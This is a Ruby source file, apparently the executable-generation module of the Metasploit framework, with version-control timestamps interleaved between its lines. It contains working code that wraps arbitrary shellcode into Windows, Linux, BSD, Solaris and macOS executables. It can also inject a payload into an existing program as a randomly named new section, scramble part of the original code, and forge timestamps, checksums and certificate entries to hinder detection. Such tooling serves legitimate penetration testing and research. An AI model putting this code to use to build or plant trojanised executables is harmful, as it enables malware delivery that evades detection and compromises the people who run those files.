2010-04-14 21:44:23 +00:00
##
2012-05-18 21:39:49 +00:00
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
2010-04-14 21:44:23 +00:00
##
2009-06-20 17:42:17 +00:00
###
#
# framework-util-exe
# --------------
#
2009-11-01 04:11:43 +00:00
# The class provides methods for creating and encoding executable file
2009-06-20 17:42:17 +00:00
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
###
module Msf
module Util
class EXE
2011-05-12 20:03:55 +00:00
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
2010-09-21 00:13:30 +00:00
##
#
# Helper functions common to multiple generators
#
##
def self . set_template_default ( opts , exe = nil , path = nil )
# If no path specified, use the default one.
path || = File . join ( File . dirname ( __FILE__ ) , " .. " , " .. " , " .. " , " data " , " templates " )
# If there's no default name, we must blow it up.
if not exe
raise RuntimeError , 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
end
# Use defaults only if nothing is specified
opts [ :template_path ] || = path
opts [ :template ] || = exe
# Only use the path when the filename contains no separators.
if not opts [ :template ] . include? ( File :: SEPARATOR )
opts [ :template ] = File . join ( opts [ :template_path ] , opts [ :template ] )
end
# Check if it exists now
return if File . file? ( opts [ :template ] )
# If it failed, try the default...
if opts [ :fallback ]
default_template = File . join ( path , exe )
if File . file? ( default_template )
# Perhaps we should warn about falling back to the default?
opts . merge! ( { :fellback = > default_template } )
opts [ :template ] = default_template
end
end
end
2009-06-20 17:42:17 +00:00
##
#
# Executable generators
#
##
2009-11-01 04:11:43 +00:00
def self . to_executable ( framework , arch , plat , code = '' , opts = { } )
2009-06-20 17:42:17 +00:00
if ( arch . index ( ARCH_X86 ) )
if ( plat . index ( Msf :: Module :: Platform :: Windows ) )
2009-11-01 04:11:43 +00:00
return to_win32pe ( framework , code , opts )
2009-06-20 17:42:17 +00:00
end
if ( plat . index ( Msf :: Module :: Platform :: Linux ) )
return to_linux_x86_elf ( framework , code )
end
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
if ( plat . index ( Msf :: Module :: Platform :: OSX ) )
2009-11-01 04:11:43 +00:00
return to_osx_x86_macho ( framework , code )
end
2012-05-17 23:41:28 +00:00
if ( plat . index ( Msf :: Module :: Platform :: BSD ) )
return to_bsd_x86_elf ( framework , code )
end
if ( plat . index ( Msf :: Module :: Platform :: Solaris ) )
return to_solaris_x86_elf ( framework , code )
end
2009-11-01 04:11:43 +00:00
# XXX: Add remaining x86 systems here
2009-06-20 17:42:17 +00:00
end
2009-11-01 04:11:43 +00:00
2009-08-23 23:47:33 +00:00
if ( arch . index ( ARCH_X86_64 ) or arch . index ( ARCH_X64 ) )
if ( plat . index ( Msf :: Module :: Platform :: Windows ) )
2009-11-01 04:11:43 +00:00
return to_win64pe ( framework , code , opts )
2009-08-23 23:47:33 +00:00
end
2011-05-20 23:51:19 +00:00
if ( plat . index ( Msf :: Module :: Platform :: Linux ) )
return to_linux_x64_elf ( framework , code , opts )
end
2012-02-06 13:58:01 +00:00
if ( plat . index ( Msf :: Module :: Platform :: OSX ) )
return to_osx_x64_macho ( framework , code )
end
2009-08-23 23:47:33 +00:00
end
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
if ( arch . index ( ARCH_ARMLE ) )
if ( plat . index ( Msf :: Module :: Platform :: OSX ) )
2009-11-01 04:11:43 +00:00
return to_osx_arm_macho ( framework , code )
2009-06-20 17:42:17 +00:00
end
2010-06-09 07:20:21 +00:00
if ( plat . index ( Msf :: Module :: Platform :: Linux ) )
return to_linux_armle_elf ( framework , code )
end
2010-07-12 21:51:11 +00:00
2010-06-09 07:20:21 +00:00
# XXX: Add remaining ARMLE systems here
2009-06-20 17:42:17 +00:00
end
if ( arch . index ( ARCH_PPC ) )
if ( plat . index ( Msf :: Module :: Platform :: OSX ) )
2009-11-01 04:11:43 +00:00
return to_osx_ppc_macho ( framework , code )
2009-06-20 17:42:17 +00:00
end
2009-11-01 04:11:43 +00:00
# XXX: Add PPC OS X and Linux here
end
2009-06-20 17:42:17 +00:00
nil
end
2009-11-01 04:11:43 +00:00
def self . to_win32pe ( framework , code , opts = { } )
2010-09-21 02:59:42 +00:00
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
if opts [ :sub_method ]
2010-09-21 02:32:12 +00:00
if opts [ :inject ]
2010-09-21 02:59:42 +00:00
raise RuntimeError , 'NOTE: using the substitution method means no inject support'
2010-09-21 02:32:12 +00:00
end
2011-11-20 01:32:06 +00:00
# use
2010-09-21 02:59:42 +00:00
return self . to_win32pe_exe_sub ( framework , code , opts )
2010-09-21 02:32:12 +00:00
end
2009-11-01 04:11:43 +00:00
# Allow the user to specify their own EXE template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x86_windows.exe " )
2009-11-01 04:11:43 +00:00
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec ( code )
# Create a new PE object and run through sanity checks
2010-03-24 15:55:24 +00:00
endjunk = true
fsize = File . size ( opts [ :template ] )
2009-11-01 04:11:43 +00:00
pe = Rex :: PeParsey :: Pe . new_from_file ( opts [ :template ] , true )
text = nil
2011-07-23 16:38:13 +00:00
sections_end = 0
2009-11-01 04:11:43 +00:00
pe . sections . each do | sec |
text = sec if sec . name == " .text "
2011-07-23 16:38:13 +00:00
sections_end = sec . size + sec . file_offset if sec . file_offset > = sections_end
2010-03-24 15:55:24 +00:00
endjunk = false if sec . contains_file_offset? ( fsize - 1 )
end
2011-07-23 16:38:13 +00:00
#also check to see if there is a certificate
cert_entry = pe . hdr . opt [ 'DataDirectory' ] [ 4 ]
#if the cert is the only thing past the sections, we can handle.
if cert_entry . v [ 'VirtualAddress' ] + cert_entry . v [ 'Size' ] > = fsize and sections_end > = cert_entry . v [ 'VirtualAddress' ]
2011-11-20 01:32:06 +00:00
endjunk = false
2011-07-23 16:38:13 +00:00
end
2010-03-24 15:55:24 +00:00
#try to inject code into executable by adding a section without affecting executable behavior
2010-09-21 02:19:33 +00:00
if ( opts [ :inject ] )
2010-03-24 15:55:24 +00:00
if endjunk
raise RuntimeError , " Junk at end of file. Is this a packed exe? "
end
2010-04-14 21:44:23 +00:00
#find first section file offset and free RVA for new section
2010-03-24 15:55:24 +00:00
free_rva = pe . hdr . opt . AddressOfEntryPoint
2011-07-23 16:38:13 +00:00
first_off = sections_end
2010-03-24 15:55:24 +00:00
pe . sections . each do | sec |
first_off = sec . file_offset if sec . file_offset < first_off
free_rva = sec . raw_size + sec . vma if sec . raw_size + sec . vma > free_rva
end
#align free_rva
free_rva += ( pe . hdr . opt . SectionAlignment - ( free_rva % pe . hdr . opt . SectionAlignment ) ) % pe . hdr . opt . SectionAlignment
#See if we can add a section
first_sechead_file_off = pe . hdr . dos . e_lfanew + Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE + pe . hdr . file . SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe . hdr . file . NumberOfSections * Rex :: PeParsey :: PeBase :: IMAGE_SIZEOF_SECTION_HEADER
2010-04-14 21:44:23 +00:00
if new_sechead_file_off + Rex :: PeParsey :: PeBase :: IMAGE_SIZEOF_SECTION_HEADER > first_off
2010-03-24 15:55:24 +00:00
raise RuntimeError , " Not enough room for new section header "
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
2010-04-14 21:44:23 +00:00
start_rva = free_rva
2010-03-24 15:55:24 +00:00
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread ( code , pe . hdr . opt . AddressOfEntryPoint - start_rva )
#pad to file alignment
new_sec += " \x00 " * ( pe . hdr . opt . SectionAlignment - ( new_sec . length % pe . hdr . opt . SectionAlignment ) )
#make new section header
new_sechead = Rex :: PeParsey :: PeBase :: IMAGE_SECTION_HEADER . make_struct
2011-07-23 16:38:13 +00:00
new_sechead . v [ 'Name' ] = Rex :: Text . rand_text_alpha ( 4 ) + " \x00 " * 4 # no name
2010-03-24 15:55:24 +00:00
new_sechead . v [ 'Characteristics' ] = 0x60000020 # READ, EXECUTE, CODE
new_sechead . v [ 'VirtualAddress' ] = free_rva
new_sechead . v [ 'SizeOfRawData' ] = new_sec . length
2011-07-23 16:38:13 +00:00
new_sechead . v [ 'PointerToRawData' ] = sections_end
2010-03-24 15:55:24 +00:00
# Create the modified version of the input executable
exe = ''
2010-08-14 20:40:45 +00:00
File . open ( opts [ :template ] , 'rb' ) { | fd |
exe = fd . read ( fd . stat . size )
2010-08-14 20:52:54 +00:00
}
2010-08-14 20:40:45 +00:00
2010-03-24 15:55:24 +00:00
#New file header with updated number of sections and timedatestamp
new_filehead = Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER . make_struct
new_filehead . from_s ( exe [ pe . hdr . dos . e_lfanew , Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE ] )
new_filehead . v [ 'NumberOfSections' ] = pe . hdr . file . NumberOfSections + 1
new_filehead . v [ 'TimeDateStamp' ] = pe . hdr . file . TimeDateStamp - rand ( 0x1000000 )
exe [ pe . hdr . dos . e_lfanew , new_filehead . to_s . length ] = new_filehead . to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex :: PeParsey :: PeBase :: IMAGE_OPTIONAL_HEADER32 . make_struct
new_opthead . from_s ( exe [ pe . hdr . dos . e_lfanew + Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE , pe . hdr . file . SizeOfOptionalHeader ] )
new_opthead . v [ 'AddressOfEntryPoint' ] = start_rva
new_opthead . v [ 'SizeOfImage' ] = free_rva + new_sec . length
new_opthead . v [ 'SizeOfCode' ] = pe . hdr . opt . SizeOfCode + new_sec . length
exe [ pe . hdr . dos . e_lfanew + Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE , pe . hdr . file . SizeOfOptionalHeader ] = new_opthead . to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe [ pe . hdr . dos . e_lfanew + Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE + 184 , 8 ] = " \x00 " * 8
2011-07-23 16:38:13 +00:00
#kill certificate; if it exists, we just invalidated it
exe [ pe . hdr . dos . e_lfanew + Rex :: PeParsey :: PeBase :: IMAGE_FILE_HEADER_SIZE + 128 , 8 ] = " \x00 " * 8
2010-03-24 15:55:24 +00:00
#new section header and new section
exe [ new_sechead_file_off , new_sechead . to_s . length ] = new_sechead . to_s
2011-07-23 16:38:13 +00:00
exe [ new_sechead . v [ 'PointerToRawData' ] , new_sec . length ] = new_sec
exe . slice! ( ( new_sechead . v [ 'PointerToRawData' ] + new_sec . length ) .. - 1 )
2010-03-24 15:55:24 +00:00
cks = pe . hdr . opt . CheckSum
if ( cks != 0 )
exe [ exe . index ( [ cks ] . pack ( 'V' ) ) , 4 ] = [ 0 ] . pack ( " V " )
end
pe . close
return exe
2009-11-01 04:11:43 +00:00
end
if ( not text )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " No .text section found in the template "
2009-11-01 04:11:43 +00:00
end
if ! text . contains_rva? ( pe . hdr . opt . AddressOfEntryPoint )
raise RuntimeError , " The .text section does not contain an entry point "
end
if ( text . size < ( payload . length + 256 ) )
raise RuntimeError , " The .text section is too small to be usable "
end
# Store some useful offsets
off_ent = pe . rva_to_file_offset ( pe . hdr . opt . AddressOfEntryPoint )
off_beg = pe . rva_to_file_offset ( text . base_rva )
# We need to make sure our injected code doesn't conflict with the
# the data directories stored in .text (import, export, etc)
mines = [ ]
pe . hdr . opt [ 'DataDirectory' ] . each do | dir |
next if dir . v [ 'Size' ] == 0
next if not text . contains_rva? ( dir . v [ 'VirtualAddress' ] )
mines << [ pe . rva_to_file_offset ( dir . v [ 'VirtualAddress' ] ) - off_beg , dir . v [ 'Size' ] ]
end
# Break the text segment into contiguous blocks
blocks = [ ]
bidx = 0
mines . sort { | a , b | a [ 0 ] < = > b [ 0 ] } . each do | mine |
bbeg = bidx
bend = mine [ 0 ]
if ( bbeg != bend )
blocks << [ bidx , bend - bidx ]
end
bidx = mine [ 0 ] + mine [ 1 ]
end
# Add the ending block
if ( bidx < text . size - 1 )
blocks << [ bidx , text . size - bidx ]
end
# Find the largest contiguous block
blocks . sort! { | a , b | b [ 1 ] < = > a [ 1 ] }
block = blocks [ 0 ]
# TODO: Allow the entry point in a different block
if ( payload . length + 256 > block [ 1 ] )
raise RuntimeError , " The largest block in .text does not have enough contiguous space (need: #{ payload . length + 256 } found: #{ block [ 1 ] } ) "
end
# Make a copy of the entire .text section
data = text . read ( 0 , text . size )
# Pick a random offset to store the payload
poff = rand ( block [ 1 ] - payload . length - 256 )
# Flip a coin to determine if EP is before or after
eloc = rand ( 2 )
eidx = nil
# Pad the entry point with random nops
entry = generate_nops ( framework , [ ARCH_X86 ] , rand ( 200 ) + 51 )
# Pick an offset to store the new entry point
if ( eloc == 0 ) # place the entry point before the payload
poff += 256
eidx = rand ( poff - ( entry . length + 5 ) )
else # place the entry pointer after the payload
poff -= 256
eidx = rand ( block [ 1 ] - ( poff + payload . length ) ) + poff + payload . length
end
# Relative jump from the end of the nops to the payload
entry += " \xe9 " + [ poff - ( eidx + entry . length + 5 ) ] . pack ( 'V' )
2010-07-12 21:51:11 +00:00
# Mangle 25% of the original executable
1 . upto ( block [ 1 ] / 4 ) do
2010-09-21 00:13:30 +00:00
data [ block [ 0 ] + rand ( block [ 1 ] ) , 1 ] = [ rand ( 0x100 ) ] . pack ( " C " )
2009-11-30 19:24:47 +00:00
end
2009-11-01 04:11:43 +00:00
# Patch the payload and the new entry point into the .text
data [ block [ 0 ] + poff , payload . length ] = payload
data [ block [ 0 ] + eidx , entry . length ] = entry
# Create the modified version of the input executable
exe = ''
2010-08-14 20:40:45 +00:00
File . open ( opts [ :template ] , 'rb' ) { | fd |
exe = fd . read ( fd . stat . size )
}
2009-11-01 04:11:43 +00:00
exe [ exe . index ( [ pe . hdr . opt . AddressOfEntryPoint ] . pack ( 'V' ) ) , 4 ] = [ text . base_rva + block [ 0 ] + eidx ] . pack ( " V " )
exe [ off_beg , data . length ] = data
2009-11-30 19:24:47 +00:00
tds = pe . hdr . file . TimeDateStamp
exe [ exe . index ( [ tds ] . pack ( 'V' ) ) , 4 ] = [ tds - rand ( 0x1000000 ) ] . pack ( " V " )
cks = pe . hdr . opt . CheckSum
if ( cks != 0 )
exe [ exe . index ( [ cks ] . pack ( 'V' ) ) , 4 ] = [ 0 ] . pack ( " V " )
end
2009-11-01 04:11:43 +00:00
pe . close
2009-11-30 19:24:47 +00:00
2009-11-01 04:11:43 +00:00
exe
end
def self . to_win32pe_old ( framework , code , opts = { } )
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own EXE template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x86_windows_old.exe " )
2010-08-14 20:40:45 +00:00
pe = ''
2010-08-14 20:52:54 +00:00
File . open ( opts [ :template ] , " rb " ) { | fd |
2010-08-14 20:40:45 +00:00
pe = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
2009-07-20 13:55:29 +00:00
if ( code . length < 2048 )
code << Rex :: Text . rand_text ( 2048 - code . length )
2009-06-20 17:42:17 +00:00
end
2009-11-01 04:11:43 +00:00
2009-09-08 20:33:43 +00:00
if ( code . length > 2048 )
raise RuntimeError , " The EXE generator now has a max size of 2048 bytes, please fix the calling module "
end
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
bo = pe . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid Win32 PE OLD EXE template: missing \" PAYLOAD: \" tag " if not bo
2010-04-14 21:44:23 +00:00
pe [ bo , code . length ] = code
pe [ 136 , 4 ] = [ rand ( 0x100000000 ) ] . pack ( 'V' )
2009-06-20 17:42:17 +00:00
ci = pe . index ( " \x31 \xc9 " * 160 )
2010-09-21 02:32:12 +00:00
raise RuntimeError , " Invalid Win32 PE OLD EXE template: missing first \" \\ x31 \\ xc9 \" " if not ci
2009-06-20 17:42:17 +00:00
cd = pe . index ( " \x31 \xc9 " * 160 , ci + 320 )
2010-09-21 02:32:12 +00:00
raise RuntimeError , " Invalid Win32 PE OLD EXE template: missing second \" \\ x31 \\ xc9 \" " if not cd
2009-06-20 17:42:17 +00:00
rc = pe [ ci + 320 , cd - ci - 320 ]
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# 640 + rc.length bytes of room to store an encoded rc at offset ci
2009-12-13 19:03:35 +00:00
enc = encode_stub ( framework , [ ARCH_X86 ] , rc , :: Msf :: Module :: PlatformList . win32 )
2009-06-20 17:42:17 +00:00
lft = 640 + rc . length - enc . length
buf = enc + Rex :: Text . rand_text ( 640 + rc . length - enc . length )
pe [ ci , buf . length ] = buf
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# Make the data section executable
xi = pe . index ( [ 0xc0300040 ] . pack ( 'V' ) )
pe [ xi , 4 ] = [ 0xe0300020 ] . pack ( 'V' )
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
# Add a couple random bytes for fun
2009-07-20 13:55:29 +00:00
pe << Rex :: Text . rand_text ( rand ( 64 ) + 4 )
2009-06-20 17:42:17 +00:00
2009-08-23 23:47:33 +00:00
return pe
end
2009-11-01 04:11:43 +00:00
2010-09-21 02:59:42 +00:00
def self . to_win32pe_exe_sub ( framework , code , opts = { } )
# Allow the user to specify their own DLL template
2010-09-21 17:07:00 +00:00
set_template_default ( opts , " template_x86_windows.exe " )
2010-09-21 02:59:42 +00:00
pe = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
pe = fd . read ( fd . stat . size )
}
bo = pe . index ( 'PAYLOAD:' )
raise RuntimeError , " Invalid Win32 PE EXE subst template: missing \" PAYLOAD: \" tag " if not bo
pe [ bo , 8192 ] = [ code ] . pack ( " a8192 " )
return pe
end
2009-11-01 04:11:43 +00:00
def self . to_win64pe ( framework , code , opts = { } )
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own EXE template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x64_windows.exe " )
2010-08-14 20:40:45 +00:00
pe = ''
2010-08-14 20:52:54 +00:00
File . open ( opts [ :template ] , " rb " ) { | fd |
2010-08-14 20:40:45 +00:00
pe = fd . read ( fd . stat . size )
}
2009-11-01 04:11:43 +00:00
2009-08-23 23:47:33 +00:00
bo = pe . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid Win64 PE EXE template: missing \" PAYLOAD: \" tag " if not bo
2010-04-14 21:44:23 +00:00
pe [ bo , code . length ] = code
2009-08-23 23:47:33 +00:00
2009-06-20 17:42:17 +00:00
return pe
end
2009-11-01 04:11:43 +00:00
2010-08-14 20:40:45 +00:00
def self . to_win32pe_service ( framework , code , opts = { } )
2010-12-02 02:23:27 +00:00
name = opts [ :servicename ]
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own service EXE template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x86_windows_svc.exe " )
2010-08-14 20:40:45 +00:00
pe = ''
File . open ( opts [ :template ] , 'rb' ) { | fd |
pe = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
bo = pe . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid Win32 PE Service EXE template: missing \" PAYLOAD: \" tag " if not bo
2010-05-05 18:25:26 +00:00
pe [ bo , 8192 ] = [ code ] . pack ( " a8192 " )
2009-06-20 17:42:17 +00:00
2010-12-02 02:23:27 +00:00
if name
bo = pe . index ( 'SERVICENAME' )
raise RuntimeError , " Invalid Win32 PE Service EXE template: missing \" SERVICENAME \" tag " if not bo
pe [ bo , 11 ] = [ name ] . pack ( 'a11' )
end
2009-11-01 04:11:43 +00:00
2010-11-30 04:53:43 +00:00
if not opts [ :sub_method ]
pe [ 136 , 4 ] = [ rand ( 0x100000000 ) ] . pack ( 'V' )
end
2009-06-20 17:42:17 +00:00
return pe
end
2009-11-01 04:11:43 +00:00
2010-08-14 20:40:45 +00:00
def self . to_win64pe_service ( framework , code , opts = { } )
2010-12-02 02:23:27 +00:00
name = opts [ :servicename ]
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own service EXE template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x64_windows_svc.exe " )
2010-06-21 03:49:39 +00:00
2010-08-14 20:40:45 +00:00
pe = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
pe = fd . read ( fd . stat . size )
}
2010-06-21 03:49:39 +00:00
bo = pe . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid Win64 PE Service EXE template: missing \" PAYLOAD: \" tag " if not bo
2010-06-21 03:49:39 +00:00
pe [ bo , 8192 ] = [ code ] . pack ( " a8192 " )
2010-12-02 02:23:27 +00:00
if name
bo = pe . index ( 'SERVICENAME' )
raise RuntimeError , " Invalid Win64 PE Service EXE template: missing \" SERVICENAME \" tag " if not bo
pe [ bo , 11 ] = [ name ] . pack ( 'a11' )
end
2010-06-21 03:49:39 +00:00
2010-11-30 04:53:43 +00:00
if not opts [ :sub_method ]
pe [ 136 , 4 ] = [ rand ( 0x100000000 ) ] . pack ( 'V' )
end
2010-06-21 03:49:39 +00:00
return pe
end
2010-08-14 20:40:45 +00:00
def self . to_win32pe_dll ( framework , code , opts = { } )
2010-04-14 21:44:23 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own DLL template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x86_windows.dll " )
pe = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
pe = fd . read ( fd . stat . size )
}
bo = pe . index ( 'PAYLOAD:' )
raise RuntimeError , " Invalid Win32 PE DLL template: missing \" PAYLOAD: \" tag " if not bo
pe [ bo , 8192 ] = [ code ] . pack ( " a8192 " )
# optional mutex
mt = pe . index ( 'MUTEX!!!' )
pe [ mt , 8 ] = Rex :: Text . rand_text_alpha ( 8 ) if mt
return pe
end
def self . to_win64pe_dll ( framework , code , opts = { } )
# Allow the user to specify their own DLL template
set_template_default ( opts , " template_x64_windows.dll " )
2010-08-14 20:40:45 +00:00
pe = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
pe = fd . read ( fd . stat . size )
}
2010-04-14 21:44:23 +00:00
bo = pe . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid Win64 PE DLL template: missing \" PAYLOAD: \" tag " if not bo
2010-07-19 22:13:34 +00:00
pe [ bo , 8192 ] = [ code ] . pack ( " a8192 " )
2010-04-14 21:44:23 +00:00
2010-09-21 00:13:30 +00:00
# optional mutex
2010-07-19 23:24:57 +00:00
mt = pe . index ( 'MUTEX!!!' )
pe [ mt , 8 ] = Rex :: Text . rand_text_alpha ( 8 ) if mt
2010-04-14 21:44:23 +00:00
return pe
end
2010-08-14 20:40:45 +00:00
def self . to_osx_arm_macho ( framework , code , opts = { } )
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_armle_darwin.bin " )
2010-08-14 20:40:45 +00:00
mo = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
mo = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
2010-04-14 21:44:23 +00:00
bo = mo . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid OSX ArmLE Mach-O template: missing \" PAYLOAD: \" tag " if not bo
2010-04-14 21:44:23 +00:00
mo [ bo , code . length ] = code
2009-06-20 17:42:17 +00:00
return mo
end
2010-08-14 20:40:45 +00:00
def self . to_osx_ppc_macho ( framework , code , opts = { } )
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_ppc_darwin.bin " )
2010-08-14 20:40:45 +00:00
mo = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
mo = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
2010-04-14 21:44:23 +00:00
bo = mo . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid OSX PPC Mach-O template: missing \" PAYLOAD: \" tag " if not bo
2010-04-14 21:44:23 +00:00
mo [ bo , code . length ] = code
2009-06-20 17:42:17 +00:00
return mo
end
2009-11-01 04:11:43 +00:00
2010-08-14 20:40:45 +00:00
def self . to_osx_x86_macho ( framework , code , opts = { } )
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
# Allow the user to specify their own template
2010-09-21 00:13:30 +00:00
set_template_default ( opts , " template_x86_darwin.bin " )
2010-08-14 20:40:45 +00:00
mo = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
mo = fd . read ( fd . stat . size )
}
2009-06-20 17:42:17 +00:00
2010-04-14 21:44:23 +00:00
bo = mo . index ( 'PAYLOAD:' )
2010-09-21 00:13:30 +00:00
raise RuntimeError , " Invalid OSX x86 Mach-O template: missing \" PAYLOAD: \" tag " if not bo
2010-04-14 21:44:23 +00:00
mo [ bo , code . length ] = code
2009-06-20 17:42:17 +00:00
return mo
end
2009-11-01 04:11:43 +00:00
2012-02-06 14:25:56 +00:00
def self . to_osx_x64_macho ( framework , code , opts = { } )
2012-02-06 13:58:01 +00:00
set_template_default ( opts , " template_x64_darwin.bin " )
macho = ''
File . open ( opts [ :template ] , 'rb' ) { | fd |
macho = fd . read ( fd . stat . size )
}
bin = macho . index ( 'PAYLOAD:' )
raise RuntimeError , " Invalid Mac OS X x86_64 Mach-O template: missing \" PAYLOAD: \" tag " if not bin
macho [ bin , code . length ] = code
return macho
end
2012-05-17 23:41:28 +00:00
# Create an ELF executable containing the payload provided in +code+
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
# segments as writable and overwrites the entrypoint (usually _start) with
# the payload.
2011-05-20 23:51:19 +00:00
#
2012-05-17 23:41:28 +00:00
def self . to_exe_elf ( framework , opts , template , code )
# Allow the user to specify their own template
set_template_default ( opts , template )
# The old way to do it is like other formats, just overwrite a big
# block of rwx mem with our shellcode.
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
#co = elf.index( " " * 512 )
#elf[bo, 2048] = [code].pack('a2048') if bo
2011-07-08 19:24:22 +00:00
2012-05-17 23:41:28 +00:00
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
2011-07-08 19:24:22 +00:00
elf = ''
File . open ( opts [ :template ] , " rb " ) { | fd |
elf = fd . read ( fd . stat . size )
}
elf << code
2012-05-17 23:41:28 +00:00
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf [ 4 ]
when 1 , " \x01 " # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
elf [ 0x44 , 4 ] = [ elf . length ] . pack ( 'V' ) #p_filesz
elf [ 0x48 , 4 ] = [ elf . length + code . length ] . pack ( 'V' ) #p_memsz
when 2 , " \x02 " # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
elf [ 0x60 , 8 ] = [ elf . length ] . pack ( 'Q' ) #p_filesz
elf [ 0x68 , 8 ] = [ elf . length + code . length ] . pack ( 'Q' ) #p_memsz
else
raise RuntimeError , " Invalid ELF template: EI_CLASS value not supported "
end
2011-07-08 19:24:22 +00:00
2011-05-20 23:51:19 +00:00
return elf
end
2011-05-17 17:10:55 +00:00
# Create a 32-bit Linux ELF containing the payload provided in +code+
2010-08-14 20:40:45 +00:00
def self . to_linux_x86_elf ( framework , code , opts = { } )
2011-05-17 17:10:55 +00:00
unless opts [ :template ]
default = true
end
2010-08-14 20:40:45 +00:00
2011-05-17 17:10:55 +00:00
if default
2012-05-17 23:41:28 +00:00
elf = to_exe_elf ( framework , opts , " template_x86_linux.bin " , code )
2011-05-17 17:10:55 +00:00
else
# If this isn't our normal template, we have to do some fancy
# header patching to mark the .text section rwx before putting our
# payload into the entry point.
# read in the template and parse it
e = Metasm :: ELF . decode_file ( opts [ :template ] )
# This will become a modified copy of the template's original phdr
new_phdr = Metasm :: EncodedData . new
e . segments . each { | s |
# Be lazy and mark any executable segment as writable. Doing
# it this way means we don't have to care about which one
# contains .text
if s . flags . include? " X "
s . flags += [ " W " ]
end
new_phdr << s . encode ( e )
}
# Copy the original file
2011-06-16 22:02:00 +00:00
elf = File . open ( opts [ :template ] , " rb " ) { | fd | fd . read ( fd . stat . size ) }
2011-05-17 17:10:55 +00:00
# Replace the header with our rwx modified version
elf [ e . header . phoff , new_phdr . data . length ] = new_phdr . data
# Replace code at the entrypoint with our payload
entry_off = e . addr_to_off ( e . label_addr ( 'entrypoint' ) )
elf [ entry_off , code . length ] = code
end
2009-06-20 17:42:17 +00:00
2010-08-14 20:40:45 +00:00
return elf
2009-06-20 17:42:17 +00:00
end
2010-04-14 21:44:23 +00:00
2012-05-17 23:41:28 +00:00
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
def self . to_bsd_x86_elf ( framework , code , opts = { } )
elf = to_exe_elf ( framework , opts , " template_x86_bsd.bin " , code )
return elf
end
2010-07-12 21:51:11 +00:00
2012-05-17 23:41:28 +00:00
# Create a 32-bit Solaris ELF containing the payload provided in +code+
def self . to_solaris_x86_elf ( framework , code , opts = { } )
elf = to_exe_elf ( framework , opts , " template_x86_solaris.bin " , code )
return elf
end
